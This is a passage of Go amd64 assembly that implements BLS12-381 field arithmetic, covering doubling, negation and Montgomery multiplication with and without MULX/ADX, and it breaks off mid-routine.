MOVQ 32(DI), R12 MOVQ 40(DI), R13 ADDQ R8, R8 ADCQ R9, R9 ADCQ R10, R10 ADCQ R11, R11 ADCQ R12, R12 ADCQ R13, R13 // | MOVQ R8, R14 MOVQ R9, R15 MOVQ R10, CX MOVQ R11, DX MOVQ R12, SI MOVQ R13, BX MOVQ $0xb9feffffffffaaab, AX SUBQ AX, R14 MOVQ $0x1eabfffeb153ffff, AX SBBQ AX, R15 MOVQ $0x6730d2a0f6b0f624, AX SBBQ AX, CX MOVQ $0x64774b84f38512bf, AX SBBQ AX, DX MOVQ $0x4b1ba7b6434bacd7, AX SBBQ AX, SI MOVQ $0x1a0111ea397fe69a, AX SBBQ AX, BX CMOVQCC R14, R8 CMOVQCC R15, R9 CMOVQCC CX, R10 CMOVQCC DX, R11 CMOVQCC SI, R12 CMOVQCC BX, R13 MOVQ R8, (DI) MOVQ R9, 8(DI) MOVQ R10, 16(DI) MOVQ R11, 24(DI) MOVQ R12, 32(DI) MOVQ R13, 40(DI) RET /* | end */ // doubling w/o reduction // c = 2 * a TEXT ·ldouble(SB), NOSPLIT, $0-16 // | MOVQ a+8(FP), DI MOVQ (DI), R8 MOVQ 8(DI), R9 MOVQ 16(DI), R10 MOVQ 24(DI), R11 MOVQ 32(DI), R12 MOVQ 40(DI), R13 // | ADDQ R8, R8 ADCQ R9, R9 ADCQ R10, R10 ADCQ R11, R11 ADCQ R12, R12 ADCQ R13, R13 // | MOVQ c+0(FP), DI MOVQ R8, (DI) MOVQ R9, 8(DI) MOVQ R10, 16(DI) MOVQ R11, 24(DI) MOVQ R12, 32(DI) MOVQ R13, 40(DI) RET /* | end */ TEXT ·_neg(SB), NOSPLIT, $0-16 // | MOVQ a+8(FP), DI // | MOVQ $0xb9feffffffffaaab, R8 MOVQ $0x1eabfffeb153ffff, R9 MOVQ $0x6730d2a0f6b0f624, R10 MOVQ $0x64774b84f38512bf, R11 MOVQ $0x4b1ba7b6434bacd7, R12 MOVQ $0x1a0111ea397fe69a, R13 SUBQ (DI), R8 SBBQ 8(DI), R9 SBBQ 16(DI), R10 SBBQ 24(DI), R11 SBBQ 32(DI), R12 SBBQ 40(DI), R13 // | MOVQ c+0(FP), DI MOVQ R8, (DI) MOVQ R9, 8(DI) MOVQ R10, 16(DI) MOVQ R11, 24(DI) MOVQ R12, 32(DI) MOVQ R13, 40(DI) RET /* | end */ // multiplication without using MULX/ADX // c = a * b % p TEXT ·mulNoADX(SB), NOSPLIT, $24-24 // | /* inputs */ MOVQ a+8(FP), DI MOVQ b+16(FP), SI MOVQ $0x00, R9 MOVQ $0x00, R10 MOVQ $0x00, R11 MOVQ $0x00, R12 MOVQ $0x00, R13 MOVQ $0x00, R14 MOVQ $0x00, R15 // | /* i0 */ // | a0 @ CX MOVQ (DI), CX // | a0 * b0 MOVQ (SI), AX MULQ CX MOVQ AX, (SP) MOVQ DX, R8 // | a0 * b1 MOVQ 8(SI), AX MULQ CX ADDQ AX, R8 ADCQ DX, R9 // | a0 * b2 MOVQ 16(SI), AX MULQ CX ADDQ AX, R9 ADCQ DX, R10 // | a0 * b3 MOVQ 24(SI), AX MULQ CX ADDQ AX, R10 ADCQ DX, R11 // | a0 * b4 MOVQ 32(SI), AX MULQ CX ADDQ AX, R11 ADCQ DX, R12 // | a0 * b5 MOVQ 40(SI), AX MULQ CX ADDQ AX, R12 ADCQ DX, R13 // | /* i1 */ // | a1 @ CX MOVQ 8(DI), CX MOVQ $0x00, BX // | a1 * b0 MOVQ (SI), AX MULQ CX ADDQ AX, R8 ADCQ DX, R9 ADCQ $0x00, R10 ADCQ $0x00, BX MOVQ R8, 8(SP) MOVQ $0x00, R8 // | a1 * b1 MOVQ 8(SI), AX MULQ CX ADDQ AX, R9 ADCQ DX, R10 ADCQ BX, R11 MOVQ $0x00, BX ADCQ $0x00, BX // | a1 * b2 MOVQ 16(SI), AX MULQ CX ADDQ AX, R10 ADCQ DX, R11 ADCQ BX, R12 MOVQ $0x00, BX ADCQ $0x00, BX // | a1 * b3 MOVQ 24(SI), AX MULQ CX ADDQ AX, R11 ADCQ DX, R12 ADCQ BX, R13 MOVQ $0x00, BX ADCQ $0x00, BX // | a1 * b4 MOVQ 32(SI), AX MULQ CX ADDQ AX, R12 ADCQ DX, R13 ADCQ BX, R14 // | a1 * b5 MOVQ 40(SI), AX MULQ CX ADDQ AX, R13 ADCQ DX, R14 // | /* i2 */ // | a2 @ CX MOVQ 16(DI), CX MOVQ $0x00, BX // | a2 * b0 MOVQ (SI), AX MULQ CX ADDQ AX, R9 ADCQ DX, R10 ADCQ $0x00, R11 ADCQ $0x00, BX MOVQ R9, 16(SP) MOVQ $0x00, R9 // | a2 * b1 MOVQ 8(SI), AX MULQ CX ADDQ AX, R10 ADCQ DX, R11 ADCQ BX, R12 MOVQ $0x00, BX ADCQ $0x00, BX // | a2 * b2 MOVQ 16(SI), AX MULQ CX ADDQ AX, R11 ADCQ DX, R12 ADCQ BX, R13 MOVQ $0x00, BX ADCQ $0x00, BX // | a2 * b3 MOVQ 24(SI), AX MULQ CX ADDQ AX, R12 ADCQ DX, R13 ADCQ BX, R14 MOVQ $0x00, BX ADCQ $0x00, BX // | a2 * b4 MOVQ 32(SI), AX MULQ CX ADDQ AX, R13 ADCQ DX, R14 ADCQ BX, R15 // | a2 * b5 MOVQ 40(SI), AX MULQ CX ADDQ AX, R14 ADCQ DX, R15 // | /* i3 */ // | a3 @ CX MOVQ 24(DI), CX MOVQ $0x00, BX // | a3 * b0 MOVQ (SI), AX MULQ CX ADDQ AX, R10 ADCQ DX, R11 ADCQ $0x00, R12 ADCQ $0x00, BX // | a3 * b1 MOVQ 8(SI), AX MULQ CX ADDQ AX, R11 ADCQ DX, R12 ADCQ BX, R13 MOVQ $0x00, BX ADCQ $0x00, BX // | a3 * b2 MOVQ 16(SI), AX MULQ CX ADDQ AX, R12 ADCQ DX, R13 ADCQ BX, R14 MOVQ $0x00, BX ADCQ $0x00, BX // | a3 * b3 MOVQ 24(SI), AX MULQ CX ADDQ AX, R13 ADCQ DX, R14 ADCQ BX, R15 MOVQ $0x00, BX ADCQ $0x00, BX // | a3 * b4 MOVQ 32(SI), AX MULQ CX ADDQ AX, R14 ADCQ DX, R15 ADCQ BX, R8 // | a3 * b5 MOVQ 40(SI), AX MULQ CX ADDQ AX, R15 ADCQ DX, R8 // | /* i4 */ // | a4 @ CX MOVQ 32(DI), CX MOVQ $0x00, BX // | a4 * b0 MOVQ (SI), AX MULQ CX ADDQ AX, R11 ADCQ DX, R12 ADCQ $0x00, R13 ADCQ $0x00, BX // | a4 * b1 MOVQ 8(SI), AX MULQ CX ADDQ AX, R12 ADCQ DX, R13 ADCQ BX, R14 MOVQ $0x00, BX ADCQ $0x00, BX // | a4 * b2 MOVQ 16(SI), AX MULQ CX ADDQ AX, R13 ADCQ DX, R14 ADCQ BX, R15 MOVQ $0x00, BX ADCQ $0x00, BX // | a4 * b3 MOVQ 24(SI), AX MULQ CX ADDQ AX, R14 ADCQ DX, R15 ADCQ BX, R8 MOVQ $0x00, BX ADCQ $0x00, BX // | a4 * b4 MOVQ 32(SI), AX MULQ CX ADDQ AX, R15 ADCQ DX, R8 ADCQ BX, R9 // | a4 * b5 MOVQ 40(SI), AX MULQ CX ADDQ AX, R8 ADCQ DX, R9 // | /* i5 */ // | a5 @ CX MOVQ 40(DI), CX MOVQ $0x00, BX // | a5 * b0 MOVQ (SI), AX MULQ CX ADDQ AX, R12 ADCQ DX, R13 ADCQ $0x00, R14 ADCQ $0x00, BX // | a5 * b1 MOVQ 8(SI), AX MULQ CX ADDQ AX, R13 ADCQ DX, R14 ADCQ BX, R15 MOVQ $0x00, BX ADCQ $0x00, BX // | a5 * b2 MOVQ 16(SI), AX MULQ CX ADDQ AX, R14 ADCQ DX, R15 ADCQ BX, R8 MOVQ $0x00, BX ADCQ $0x00, BX // | a5 * b3 MOVQ 24(SI), AX MULQ CX ADDQ AX, R15 ADCQ DX, R8 ADCQ BX, R9 MOVQ $0x00, BX ADCQ $0x00, BX // | a5 * b4 MOVQ 32(SI), AX MULQ CX ADDQ AX, R8 ADCQ DX, R9 ADCQ $0x00, BX // | a5 * b5 MOVQ 40(SI), AX MULQ CX ADDQ AX, R9 ADCQ DX, BX // | /* */ // | // | W // | 0 (SP) | 1 8(SP) | 2 16(SP) | 3 R10 | 4 R11 | 5 R12 // | 6 R13 | 7 R14 | 8 R15 | 9 R8 | 10 R9 | 11 BX MOVQ (SP), CX MOVQ 8(SP), DI MOVQ 16(SP), SI MOVQ BX, (SP) MOVQ R9, 8(SP) // | /* montgomery reduction */ // | /* i0 */ // | // | W // | 0 CX | 1 DI | 2 SI | 3 R10 | 4 R11 | 5 R12 // | 6 R13 | 7 R14 | 8 R15 | 9 R8 | 10 8(SP) | 11 (SP) // | | u0 = w0 * inp MOVQ CX, AX MULQ ·inp+0(SB) MOVQ AX, R9 MOVQ $0x00, BX // | /* */ // | j0 // | w0 @ CX MOVQ ·modulus+0(SB), AX MULQ R9 ADDQ AX, CX ADCQ DX, BX // | j1 // | w1 @ DI MOVQ ·modulus+8(SB), AX MULQ R9 ADDQ AX, DI ADCQ $0x00, DX ADDQ BX, DI MOVQ $0x00, BX ADCQ DX, BX // | j2 // | w2 @ SI MOVQ ·modulus+16(SB), AX MULQ R9 ADDQ AX, SI ADCQ $0x00, DX ADDQ BX, SI MOVQ $0x00, BX ADCQ DX, BX // | j3 // | w3 @ R10 MOVQ ·modulus+24(SB), AX MULQ R9 ADDQ AX, R10 ADCQ $0x00, DX ADDQ BX, R10 MOVQ $0x00, BX ADCQ DX, BX // | j4 // | w4 @ R11 MOVQ ·modulus+32(SB), AX MULQ R9 ADDQ AX, R11 ADCQ $0x00, DX ADDQ BX, R11 MOVQ $0x00, BX ADCQ DX, BX // | j5 // | w5 @ R12 MOVQ ·modulus+40(SB), AX MULQ R9 ADDQ AX, R12 ADCQ $0x00, DX ADDQ BX, R12 // | w6 @ R13 ADCQ DX, R13 ADCQ $0x00, CX // | /* i1 */ // | // | W // | 0 - | 1 DI | 2 SI | 3 R10 | 4 R11 | 5 R12 // | 6 R13 | 7 R14 | 8 R15 | 9 R8 | 10 8(SP) | 11 (SP) // | | u1 = w1 * inp MOVQ DI, AX MULQ ·inp+0(SB) MOVQ AX, R9 MOVQ $0x00, BX // | /* */ // | j0 // | w1 @ DI MOVQ ·modulus+0(SB), AX MULQ R9 ADDQ AX, DI ADCQ DX, BX // | j1 // | w2 @ SI MOVQ ·modulus+8(SB), AX MULQ R9 ADDQ AX, SI ADCQ $0x00, DX ADDQ BX, SI MOVQ $0x00, BX ADCQ DX, BX // | j2 // | w3 @ R10 MOVQ ·modulus+16(SB), AX MULQ R9 ADDQ AX, R10 ADCQ $0x00, DX ADDQ BX, R10 MOVQ $0x00, BX ADCQ DX, BX // | j3 // | w4 @ R11 MOVQ ·modulus+24(SB), AX MULQ R9 ADDQ AX, R11 ADCQ $0x00, DX ADDQ BX, R11 MOVQ $0x00, BX ADCQ DX, BX // | j4 // | w5 @ R12 MOVQ ·modulus+32(SB), AX MULQ R9 ADDQ AX, R12 ADCQ $0x00, DX ADDQ BX, R12 MOVQ $0x00, BX ADCQ DX, BX // | j5 // | w6 @ R13 MOVQ ·modulus+40(SB), AX MULQ R9 ADDQ AX, R13 ADCQ DX, CX ADDQ BX, R13 // | w7 @ R14 ADCQ CX, R14 MOVQ $0x00, CX ADCQ $0x00, CX // | /* i2 */ // | // | W // | 0 - | 1 - | 2 SI | 3 R10 | 4 R11 | 5 R12 // | 6 R13 | 7 R14 | 8 R15 | 9 R8 | 10 8(SP) | 11 (SP) // | | u2 = w2 * inp MOVQ SI, AX MULQ ·inp+0(SB) MOVQ AX, R9 MOVQ $0x00, BX // | /* */ // | j0 // | w2 @ SI MOVQ ·modulus+0(SB), AX MULQ R9 ADDQ AX, SI ADCQ DX, BX // | j1 // | w3 @ R10 MOVQ ·modulus+8(SB), AX MULQ R9 ADDQ AX, R10 ADCQ $0x00, DX ADDQ BX, R10 MOVQ $0x00, BX ADCQ DX, BX // | j2 // | w4 @ R11 MOVQ ·modulus+16(SB), AX MULQ R9 ADDQ AX, R11 ADCQ $0x00, DX ADDQ BX, R11 MOVQ $0x00, BX ADCQ DX, BX // | j3 // | w5 @ R12 MOVQ ·modulus+24(SB), AX MULQ R9 ADDQ AX, R12 ADCQ $0x00, DX ADDQ BX, R12 MOVQ $0x00, BX ADCQ DX, BX // | j4 // | w6 @ R13 MOVQ ·modulus+32(SB), AX MULQ R9 ADDQ AX, R13 ADCQ $0x00, DX ADDQ BX, R13 MOVQ $0x00, BX ADCQ DX, BX // | j5 // | w7 @ R14 MOVQ ·modulus+40(SB), AX MULQ R9 ADDQ AX, R14 ADCQ DX, CX ADDQ BX, R14 // | w8 @ R15 ADCQ CX, R15 MOVQ $0x00, CX ADCQ $0x00, CX // | /* i3 */ // | // | W // | 0 - | 1 - | 2 - | 3 R10 | 4 R11 | 5 R12 // | 6 R13 | 7 R14 | 8 R15 | 9 R8 | 10 8(SP) | 11 (SP) // | | u3 = w3 * inp MOVQ R10, AX MULQ ·inp+0(SB) MOVQ AX, R9 MOVQ $0x00, BX // | /* */ // | j0 // | w3 @ R10 MOVQ ·modulus+0(SB), AX MULQ R9 ADDQ AX, R10 ADCQ DX, BX // | j1 // | w4 @ R11 MOVQ ·modulus+8(SB), AX MULQ R9 ADDQ AX, R11 ADCQ $0x00, DX ADDQ BX, R11 MOVQ $0x00, BX ADCQ DX, BX // | j2 // | w5 @ R12 MOVQ ·modulus+16(SB), AX MULQ R9 ADDQ AX, R12 ADCQ $0x00, DX ADDQ BX, R12 MOVQ $0x00, BX ADCQ DX, BX // | j3 // | w6 @ R13 MOVQ ·modulus+24(SB), AX MULQ R9 ADDQ AX, R13 ADCQ $0x00, DX ADDQ BX, R13 MOVQ $0x00, BX ADCQ DX, BX // | j4 // | w7 @ R14 MOVQ ·modulus+32(SB), AX MULQ R9 ADDQ AX, R14 ADCQ $0x00, DX ADDQ BX, R14 MOVQ $0x00, BX ADCQ DX, BX // | j5 // | w8 @ R15 MOVQ ·modulus+40(SB), AX MULQ R9 ADDQ AX, R15 ADCQ DX, CX ADDQ BX, R15 // | w9 @ R8 ADCQ CX, R8 MOVQ $0x00, CX ADCQ $0x00, CX // | /* i4 */ // | // | W // | 0 - | 1 - | 2 - | 3 - | 4 R11 | 5 R12 // | 6 R13 | 7 R14 | 8 R15 | 9 R8 | 10 8(SP) | 11 (SP) // | | u4 = w4 * inp MOVQ R11, AX MULQ ·inp+0(SB) MOVQ AX, R9 MOVQ $0x00, BX // | /* */ // | j0 // | w4 @ R11 MOVQ ·modulus+0(SB), AX MULQ R9 ADDQ AX, R11 ADCQ DX, BX // | j1 // | w5 @ R12 MOVQ ·modulus+8(SB), AX MULQ R9 ADDQ AX, R12 ADCQ $0x00, DX ADDQ BX, R12 MOVQ $0x00, BX ADCQ DX, BX // | j2 // | w6 @ R13 MOVQ ·modulus+16(SB), AX MULQ R9 ADDQ AX, R13 ADCQ $0x00, DX ADDQ BX, R13 MOVQ $0x00, BX ADCQ DX, BX // | j3 // | w7 @ R14 MOVQ ·modulus+24(SB), AX MULQ R9 ADDQ AX, R14 ADCQ $0x00, DX ADDQ BX, R14 MOVQ $0x00, BX ADCQ DX, BX // | j4 // | w8 @ R15 MOVQ ·modulus+32(SB), AX MULQ R9 ADDQ AX, R15 ADCQ $0x00, DX ADDQ BX, R15 MOVQ $0x00, BX ADCQ DX, BX // | j5 // | w9 @ R8 MOVQ ·modulus+40(SB), AX MULQ R9 ADDQ AX, R8 ADCQ DX, CX ADDQ BX, R8 // | move to idle register MOVQ 8(SP), DI // | w10 @ DI ADCQ CX, DI MOVQ $0x00, CX ADCQ $0x00, CX // | /* i5 */ // | // | W // | 0 - | 1 - | 2 - | 3 - | 4 - | 5 R12 // | 6 R13 | 7 R14 | 8 R15 | 9 R8 | 10 DI | 11 (SP) // | | u5 = w5 * inp MOVQ R12, AX MULQ ·inp+0(SB) MOVQ AX, R9 MOVQ $0x00, BX // | /* */ // | j0 // | w5 @ R12 MOVQ ·modulus+0(SB), AX MULQ R9 ADDQ AX, R12 ADCQ DX, BX // | j1 // | w6 @ R13 MOVQ ·modulus+8(SB), AX MULQ R9 ADDQ AX, R13 ADCQ $0x00, DX ADDQ BX, R13 MOVQ $0x00, BX ADCQ DX, BX // | j2 // | w7 @ R14 MOVQ ·modulus+16(SB), AX MULQ R9 ADDQ AX, R14 ADCQ $0x00, DX ADDQ BX, R14 MOVQ $0x00, BX ADCQ DX, BX // | j3 // | w8 @ R15 MOVQ ·modulus+24(SB), AX MULQ R9 ADDQ AX, R15 ADCQ $0x00, DX ADDQ BX, R15 MOVQ $0x00, BX ADCQ DX, BX // | j4 // | w9 @ R8 MOVQ ·modulus+32(SB), AX MULQ R9 ADDQ AX, R8 ADCQ $0x00, DX ADDQ BX, R8 MOVQ $0x00, BX ADCQ DX, BX // | j5 // | w10 @ DI MOVQ ·modulus+40(SB), AX MULQ R9 ADDQ AX, DI ADCQ DX, CX ADDQ BX, DI // | w11 @ CX ADCQ (SP), CX // | // | W montgomerry reduction ends // | 0 - | 1 - | 2 - | 3 - | 4 - | 5 - // | 6 R13 | 7 R14 | 8 R15 | 9 R8 | 10 DI | 11 CX // | /* modular reduction */ MOVQ R13, R10 SUBQ ·modulus+0(SB), R10 MOVQ R14, R11 SBBQ ·modulus+8(SB), R11 MOVQ R15, R12 SBBQ ·modulus+16(SB), R12 MOVQ R8, AX SBBQ ·modulus+24(SB), AX MOVQ DI, BX SBBQ ·modulus+32(SB), BX MOVQ CX, R9 SBBQ ·modulus+40(SB), R9 // | /* out */ MOVQ c+0(FP), SI CMOVQCC R10, R13 MOVQ R13, (SI) CMOVQCC R11, R14 MOVQ R14, 8(SI) CMOVQCC R12, R15 MOVQ R15, 16(SI) CMOVQCC AX, R8 MOVQ R8, 24(SI) CMOVQCC BX, DI MOVQ DI, 32(SI) CMOVQCC R9, CX MOVQ CX, 40(SI) RET // | /* end */ // multiplication // c = a * b % p TEXT ·mulADX(SB), NOSPLIT, $16-24 // | /* inputs */ MOVQ a+8(FP), DI MOVQ b+16(FP), SI XORQ AX, AX // | /* i0 */ // | a0 @ DX MOVQ (DI), DX // | a0 * b0 MULXQ (SI), AX, CX MOVQ AX, (SP) // | a0 * b1 MULXQ 8(SI), AX, R8 ADCXQ AX, CX // | a0 * b2 MULXQ 16(SI), AX, R9 ADCXQ AX, R8 // | a0 * b3 MULXQ 24(SI), AX, R10 ADCXQ AX, R9 // | a0 * b4 MULXQ 32(SI), AX, R11 ADCXQ AX, R10 // | a0 * b5 MULXQ 40(SI), AX, R12 ADCXQ AX, R11 ADCQ $0x00, R12 // | /* i1 */ // | a1 @ DX MOVQ 8(DI), DX XORQ R13, R13 // | a1 * b0 MULXQ (SI), AX, BX ADOXQ AX, CX ADCXQ BX, R8 MOVQ CX, 8(SP) // | a1 * b1 MULXQ 8(SI), AX, BX ADOXQ AX, R8 ADCXQ BX, R9 // | a1 * b2 MULXQ 16(SI), AX, BX ADOXQ AX, R9 ADCXQ BX, R10 // | a1 * b3 MULXQ 24(SI), AX, BX ADOXQ AX, R10 ADCXQ BX, R11 // | a1 * b4 MULXQ 32(SI), AX, BX ADOXQ AX, R11 ADCXQ BX, R12 // | a1 * b5 MULXQ 40(SI), AX, BX ADOXQ AX, R12 ADOXQ R13, R13 ADCXQ BX, R13 // | /* i2 */ // | a2 @ DX MOVQ 16(DI), DX XORQ R14, R14 // | a2 * b0 MULXQ (SI), AX, BX ADOXQ AX, R8 ADCXQ BX, R9 // | a2 * b1 MULXQ 8(SI), AX, BX ADOXQ AX, R9 ADCXQ BX, R10 // | a2 * b2 MULXQ 16(SI), AX, BX ADOXQ AX, R10 ADCXQ BX, R11 // | a2 * b3 MULXQ 24(SI), AX, BX ADOXQ AX, R11 ADCXQ BX, R12 // | a2 * b4 MULXQ 32(SI), AX, BX ADOXQ AX, R12 ADCXQ BX, R13 // | a2 * b5 MULXQ 40(SI), AX, BX ADOXQ AX, R13 ADOXQ R14, R14 ADCXQ BX, R14 // | /* i3 */ // | a3 @ DX MOVQ 24(DI), DX XORQ R15, R15 // | a3 * b0 MULXQ (SI), AX, BX ADOXQ AX, R9 ADCXQ BX, R10 // | a3 * b1 MULXQ 8(SI), AX, BX ADOXQ AX, R10 ADCXQ BX, R11 // | a3 * b2 MULXQ 16(SI), AX, BX ADOXQ AX, R11 ADCXQ BX, R12 // | a3 * b3 MULXQ 24(SI), AX, BX ADOXQ AX, R12 ADCXQ BX, R13 // | a3 * b4 MULXQ 32(SI), AX, BX ADOXQ AX, R13 ADCXQ BX, R14 // | a3 * b5 MULXQ 40(SI), AX, BX ADOXQ AX, R14 ADOXQ R15, R15 ADCXQ BX, R15 // | /* i4 */ // | a4 @ DX MOVQ 32(DI), DX XORQ CX, CX // | a4 * b0 MULXQ (SI), AX, BX ADOXQ AX, R10 ADCXQ BX, R11 // | a4 * b1 MULXQ 8(SI), AX, BX ADOXQ AX, R11 ADCXQ BX, R12 // | a4 * b2 MULXQ 16(SI), AX, BX ADOXQ AX, R12 ADCXQ BX, R13 // | a4 * b3 MULXQ 24(SI), AX, BX ADOXQ AX, R13 ADCXQ BX, R14 // | a4 * b4 MULXQ 32(SI), AX, BX ADOXQ AX, R14 ADCXQ BX, R15 // | a4 * b5 MULXQ 40(SI), AX, BX ADOXQ AX, R15 ADOXQ CX, CX ADCXQ BX, CX // | /* i5 */ // | a5 @ DX MOVQ 40(DI), DX XORQ DI, DI // | a5 * b0 MULXQ (SI), AX, BX ADOXQ AX, R11 ADCXQ BX, R12 // | a5 * b1 MULXQ 8(SI), AX, BX ADOXQ AX, R12 ADCXQ BX, R13 // | a5 * b2 MULXQ 16(SI), AX, BX ADOXQ AX, R13 ADCXQ BX, R14 // | a5 * b3 MULXQ 24(SI), AX, BX ADOXQ AX, R14 ADCXQ BX, R15 // | a5 * b4 MULXQ 32(SI), AX, BX ADOXQ AX, R15 ADCXQ BX, CX // | a5 * b5 MULXQ 40(SI), AX, BX ADOXQ AX, CX ADOXQ BX, DI ADCQ $0x00, DI // | /* */ // | // | W // | 0 (SP) | 1 8(SP) | 2 R8 | 3 R9 | 4 R10 | 5 R11 // | 6 R12 | 7 R13 | 8 R14 | 9 R15 | 10 CX | 11 DI MOVQ (SP), BX MOVQ 8(SP), SI MOVQ DI, (SP) // | // | W ready to mont // | 0 BX | 1 SI | 2 R8 | 3 R9 | 4 R10 | 5 R11 // | 6 R12 | 7 R13 | 8 R14 | 9 R15 | 10 CX | 11 (SP) // | /* montgomery reduction */ // | clear flags XORQ AX, AX // | /* i0 */ // | // | W // | 0 BX | 1 SI | 2 R8 | 3 R9 | 4 R10 | 5 R11 // | 6 R12 | 7 R13 | 8 R14 | 9 R15 | 10 CX | 11 (SP) // | | u0 = w0 * inp MOVQ BX, DX MULXQ ·inp+0(SB), DX, DI // | /* */ // | j0 // | w0 @ BX MULXQ ·modulus+0(SB), AX, DI ADOXQ AX, BX ADCXQ DI, SI // | j1 // | w1 @ SI MULXQ ·modulus+8(SB), AX, DI ADOXQ AX, SI ADCXQ DI, R8 // | j2 // | w2 @ R8 MULXQ ·modulus+16(SB), AX, DI ADOXQ AX, R8 ADCXQ DI, R9 // | j3 // | w3 @ R9 MULXQ ·modulus+24(SB), AX, DI ADOXQ AX, R9 ADCXQ DI, R10 // | j4 // | w4 @ R10 MULXQ ·modulus+32(SB), AX, DI ADOXQ AX, R10 ADCXQ DI, R11 // | j5 // | w5 @ R11 MULXQ ·modulus+40(SB), AX, DI ADOXQ AX, R11 ADCXQ DI, R12 ADOXQ BX, R12 ADCXQ BX, BX MOVQ $0x00, AX ADOXQ AX, BX // | clear flags XORQ AX, AX // | /* i1 */ // | // | W // | 0 - | 1 SI | 2 R8 | 3 R9 | 4 R10 | 5 R11 // | 6 R12 | 7 R13 | 8 R14 | 9 R15 | 10 CX | 11 (SP) // | | u1 = w1 * inp MOVQ SI, DX MULXQ ·inp+0(SB), DX, DI // | /* */ // | j0 // | w1 @ SI MULXQ ·modulus+0(SB), AX, DI ADOXQ AX, SI ADCXQ DI, R8 // | j1 // | w2 @ R8 MULXQ ·modulus+8(SB), AX, DI ADOXQ AX, R8 ADCXQ DI, R9 // | j2 // | w3 @ R9 MULXQ ·modulus+16(SB), AX, DI ADOXQ AX, R9 ADCXQ DI, R10 // | j3 // | w4 @ R10 MULXQ ·modulus+24(SB), AX, DI ADOXQ AX, R10 ADCXQ DI, R11 // | j4 // | w5 @ R11 MULXQ ·modulus+32(SB), AX, DI ADOXQ AX, R11 ADCXQ DI, R12 // | j5 // | w6 @ R12 MULXQ ·modulus+40(SB), AX, DI ADOXQ AX, R12 ADCXQ DI, R13 ADOXQ BX, R13 ADCXQ SI, SI MOVQ $0x00, AX ADOXQ AX, SI // | clear flags XORQ AX, AX // | /* i2 */ // | // | W // | 0 - | 1 - | 2 R8 | 3 R9 | 4 R10 | 5 R11 // | 6 R12 | 7 R13 | 8 R14 | 9 R15 | 10 CX | 11 (SP) // | | u2 = w2 * inp MOVQ R8, DX MULXQ ·inp+0(SB), DX, DI // | /* */ // | j0 // | w2 @ R8 MULXQ ·modulus+0(SB), AX, DI ADOXQ AX, R8 ADCXQ DI, R9 // | j1 // | w3 @ R9 MULXQ ·modulus+8(SB), AX, DI ADOXQ AX, R9 ADCXQ DI, R10 // | j2 // | w4 @ R10 MULXQ ·modulus+16(SB), AX, DI ADOXQ AX, R10 ADCXQ DI, R11 // | j3 // | w5 @ R11 MULXQ ·modulus+24(SB), AX, DI ADOXQ AX, R11 ADCXQ DI, R12 // | j4 // | w6 @ R12 MULXQ ·modulus+32(SB), AX, DI ADOXQ AX, R12 ADCXQ DI, R13 // | j5 // | w7 @ R13 MULXQ ·modulus+40(SB), AX, DI ADOXQ AX, R13 ADCXQ DI, R14 ADOXQ SI, R14 ADCXQ R8, R8 MOVQ $0x00, AX ADOXQ AX, R8 // | clear flags XORQ AX, AX // | /* i3 */ // | // | W // | 0 - | 1 - | 2 - | 3 R9 | 4 R10 | 5 R11 // | 6 R12 | 7 R13 | 8 R14 | 9 R15 | 10 CX | 11 (SP) // | | u3 = w3 * inp MOVQ R9, DX MULXQ ·inp+0(SB), DX, DI // | /* */ // | j0 // | w3 @ R9 MULXQ ·modulus+0(SB), AX, DI ADOXQ AX, R9 ADCXQ DI, R10 // | j1 // | w4 @ R10 MULXQ ·modulus+8(SB), AX, DI ADOXQ AX, R10 ADCXQ DI, R11 // | j2 // | w5 @ R11 MULXQ ·modulus+16(SB), AX, DI ADOXQ AX, R11 ADCXQ DI, R12 // | j3 // | w6 @ R12 MULXQ ·modulus+24(SB), AX, DI ADOXQ AX, R12 ADCXQ DI, R13 // | j4 // | w7 @ R13 MULXQ ·modulus+32(SB), AX, DI ADOXQ AX, R13 ADCXQ DI, R14 // | j5 // | w8 @ R14 MULXQ ·modulus+40(SB), AX, DI ADOXQ AX, R14 ADCXQ DI, R15 ADOXQ R8, R15 ADCXQ R9, R9 MOVQ $0x00, AX ADOXQ AX, R9 // | clear flags XORQ AX, AX // | /* i4 */ // | // | W // | 0 - | 1 - | 2 - | 3 - | 4 R10 | 5 R11 // | 6 R12 | 7 R13 | 8 R14 | 9 R15 | 10 CX | 11 (SP) // | | u4 = w4 * inp MOVQ R10, DX MULXQ ·inp+0(SB), DX, DI // | /* */ // | j0 // | w4 @ R10 MULXQ ·modulus+0(SB), AX, DI ADOXQ AX, R10 ADCXQ DI, R11 // | j1 // | w5 @ R11 MULXQ ·modulus+8(SB), AX, DI ADOXQ AX, R11 ADCXQ DI, R12 // | j2 // | w6 @ R12 MULXQ ·modulus+16(SB), AX, DI ADOXQ AX, R12 ADCXQ DI, R13 // | j3 // | w7 @ R13 MULXQ ·modulus+24(SB), AX, DI ADOXQ AX, R13 ADCXQ DI, R14 // | j4 // | w8 @ R14 MULXQ ·modulus+32(SB), AX, DI ADOXQ AX, R14 ADCXQ DI, R15 // | j5 // | w9 @ R15 MULXQ ·modulus+40(SB), AX, DI ADOXQ AX, R15 ADCXQ DI, CX ADOXQ R9, CX ADCXQ R10, R10 MOVQ $0x00, AX ADOXQ AX, R10 // | clear flags XORQ AX, AX // | /* i5 */ // | // | W // | 0 - | 1 - | 2 - | 3 - | 4 - | 5 R11 // | 6 R12 | 7 R13 | 8 R14 | 9 R15 | 10 CX | 11 (SP) // | | u5 = w5 * inp MOVQ R11, DX MULXQ ·inp+0(SB), DX, DI // | /* */ // | j0 // | w5 @ R11 MULXQ ·modulus+0(SB), AX, DI ADOXQ AX, R11 ADCXQ DI, R12 // | j1 // | w6 @ R12 MULXQ ·modulus+8(SB), AX, DI ADOXQ AX, R12 ADCXQ DI, R13 // | j2 // | w7 @ R13 MULXQ ·modulus+16(SB), AX, DI ADOXQ AX, R13 ADCXQ DI, R14 // | j3 // | w8 @ R14 MULXQ ·modulus+24(SB), AX, DI ADOXQ AX, R14 ADCXQ DI, R15 // | j4 // | w9 @ R15 MULXQ ·modulus+32(SB), AX, DI ADOXQ AX, R15 ADCXQ DI, CX // | j5 // | w10 @ CX MULXQ ·modulus+40(SB), AX, DI ADOXQ AX, CX // | w11 @ (SP) // | move to an idle register MOVQ (SP), BX ADCXQ DI, BX ADOXQ R10, BX // | // | W montgomery reduction ends // | 0 - | 1 - | 2 - | 3 - | 4 - | 5 - // | 6 R12 | 7 R13 | 8 R14 | 9 R15 | 10 CX | 11 BX // | /* modular reduction */ MOVQ R12, AX SUBQ ·modulus+0(SB), AX MOVQ R13, DI SBBQ ·modulus+8(SB), DI MOVQ R14, SI SBBQ 